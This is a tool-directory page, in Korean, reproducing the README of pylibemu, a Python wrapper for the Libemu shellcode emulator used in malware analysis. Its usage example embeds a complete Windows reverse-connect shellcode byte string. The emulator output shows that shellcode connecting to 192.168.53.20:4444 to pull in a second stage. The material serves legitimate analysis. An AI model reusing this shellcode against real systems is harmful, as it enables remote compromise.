Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/buffer/pylibemu
Dynamic Analysis (Sandboxing)Reverse EngineeringShellcodeMalware AnalysisBinary Analysis
GitHubbuffer/pylibemu

pylibemu

Libemu용 Cython 래퍼

저장소 보기
1282822년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Pylibemu |version badge| |downloads badge|

.. |version badge| image:: https://img.shields.io/pypi/v/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ .. |downloads badge| image:: https://img.shields.io/pypi/dm/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/

Pylibemu는 Libemu 라이브러리(https://github.com/buffer/libemu)용 래퍼입니다.

요구 사항

  • Python 2.5+ 또는 Python 3.6+ (설치 참고 사항 읽기)
  • Libemu

설치 (Python 3)

Pylibemu > 0.5.8은 더 이상 Libemu 하위 모듈을 포함하지 않으므로 Pylibemu를 설치하기 전에 Libemu를 설치해야 합니다.

Libemu를 설치하려면 다음을 실행하십시오:

.. code-block:: console

root@kitploit:~
$ git clone https://github.com/buffer/libemu.git
$ cd libemu
$ autoreconf -v -i
$ ./configure
$ make
$ sudo make install

Libemu가 올바르게 설치되면 다음을 실행하십시오:

.. code-block:: console

root@kitploit:~
$ sudo pip install pylibemu

설치 (Python 2)

Pylibemu 0.5.8은 Python 2를 지원하는 마지막 버전입니다.

Pylibemu를 설치하려면 다음을 실행하십시오:

.. code-block:: console

root@kitploit:~
$ sudo pip install pylibemu==0.5.8

사용법

.. code-block:: pycon

root@kitploit:~
>>> import pylibemu
>>> shellcode  = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
>>> shellcode += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
>>> shellcode += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
>>> shellcode += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
>>> shellcode += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
>>> shellcode += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
>>> shellcode += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
>>> shellcode += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
>>> shellcode += b"\x53\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
>>> shellcode += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
>>> shellcode += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
>>> shellcode += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
>>> shellcode += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
>>> emulator = pylibemu.Emulator()
>>> offset = emulator.shellcode_getpc_test(shellcode)
>>> offset
4
>>> emulator.prepare(shellcode, offset)
>>> emulator.test()
0
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
 	LPCTSTR lpFileName = 0x0012fe90 => 
       	= "ws2_32";
) = 0x71a10000;
int WSAStartup (
 	WORD wVersionRequested = 2;
 	LPWSADATA lpWSAData = 1244272;
) =  0;
SOCKET WSASocket (
 	int af = 2;
 	int type = 1;
 	int protocol = 0;
 	LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
 	GROUP g = 0;
 	DWORD dwFlags = 0;
) =  66;
int connect (
 	SOCKET s = 66;
 	struct sockaddr_in * name = 0x0012fe88 => 
     	struct   = {
        	short sin_family = 2;
         	unsigned short sin_port = 23569 (port=4444);
         	struct in_addr sin_addr = {
            unsigned long s_addr = 339060928 (host=192.168.53.20);
         };
         char sin_zero = "       ";
     };
 	int namelen = 16;
) =  0;
int recv (
 	SOCKET s = 66;
 	char * buf = 0x0012fe88 => 
    	 none;
 	int len = 3072;
 	int flags = 0;
) =  3072;

>>> emulator.emu_profile_truncated
False

Pylibemu 0.1.3에서 새 Emulator 메서드 'run'이 도입되어 세부 사항에 대해 걱정할 필요가 없습니다. 또한 새 Emulator 속성 offset을 사용하면 필요한 경우 이러한 정보를 얻을 수 있습니다.

.. code-block:: pycon

root@kitploit:~
>>> emulator = pylibemu.Emulator()
>>> emulator.run(shellcode)
0
>>> emulator.offset
4
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
	 LPCTSTR = 0x01a3f990 => 
       	= "ws2_32";
) =  1906376704;
int WSAStartup (
 	WORD wVersionRequested = 2;
 	LPWSADATA lpWSAData = 1244272;
) =  0;
SOCKET WSASocket (
 	int af = 2;
 	int type = 1;
 	int protocol = 0;
 	LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
 	GROUP g = 0;
 	DWORD dwFlags = 0;
) =  66;
int connect (
 	SOCKET s = 66;
 	struct sockaddr_in * name = 0x0012fe88 => 
    	struct   = {
        	short sin_family = 2;
         	unsigned short sin_port = 23569 (port=4444);
         	struct in_addr sin_addr = {
            unsigned long s_addr = 339060928 (host=192.168.53.20);
         };
         char sin_zero = "       ";
     };
 int namelen = 16;
) =  0;
int recv (
 	SOCKET s = 66;
 	char * = 0x01a40870 => 
     	none;
 	int len = 3072;
 	int flags = 0;
) =  3072;

>>> emulator.emu_profile_truncated
False

Emulator는 선택적 매개변수 output_size를 허용하며, 이는 에뮬레이션 프로필 덤프를 저장하기 위해 예약할 메모리 양을 정의합니다. 기본적으로 크기는 1MB이지만 두 가지 방법으로 변경할 수 있습니다.

.. code-block:: pycon

root@kitploit:~
>>> emulator = pylibemu.Emulator(1024)

>>> emulator = pylibemu.Emulator()
>>> emulator.set_output_size(1024)

예약된 메모리가 전체 덤프를 담기에 충분하지 않으면 덤프는 잘리고(truncated) Emulator 속성 emu_profile_truncated가 True로 설정됩니다. 이 방식은 수 MB에 달하는 덤프를 생성할 수 있는 일부 셸코드(예: Metasploit windows/download_exec)를 분석할 때 성능 저하를 막기 위해 필요합니다. 전체 덤프가 필요한 경우, 아주 간단한 방법은 셸코드 에뮬레이션 테스트 후 emu_profile_truncated 속성을 확인하고, Emulator의 set_output_size 메서드로 예약 메모리를 늘린 다음 위에 표시된 대로 셸코드 에뮬레이션 테스트를 다시 실행하는 것입니다.

라이선스 정보

Copyright (C) 2011-2023 Angelo Dell'Aera [email protected]

라이선스: GNU General Public License, version 2

도구 다운로드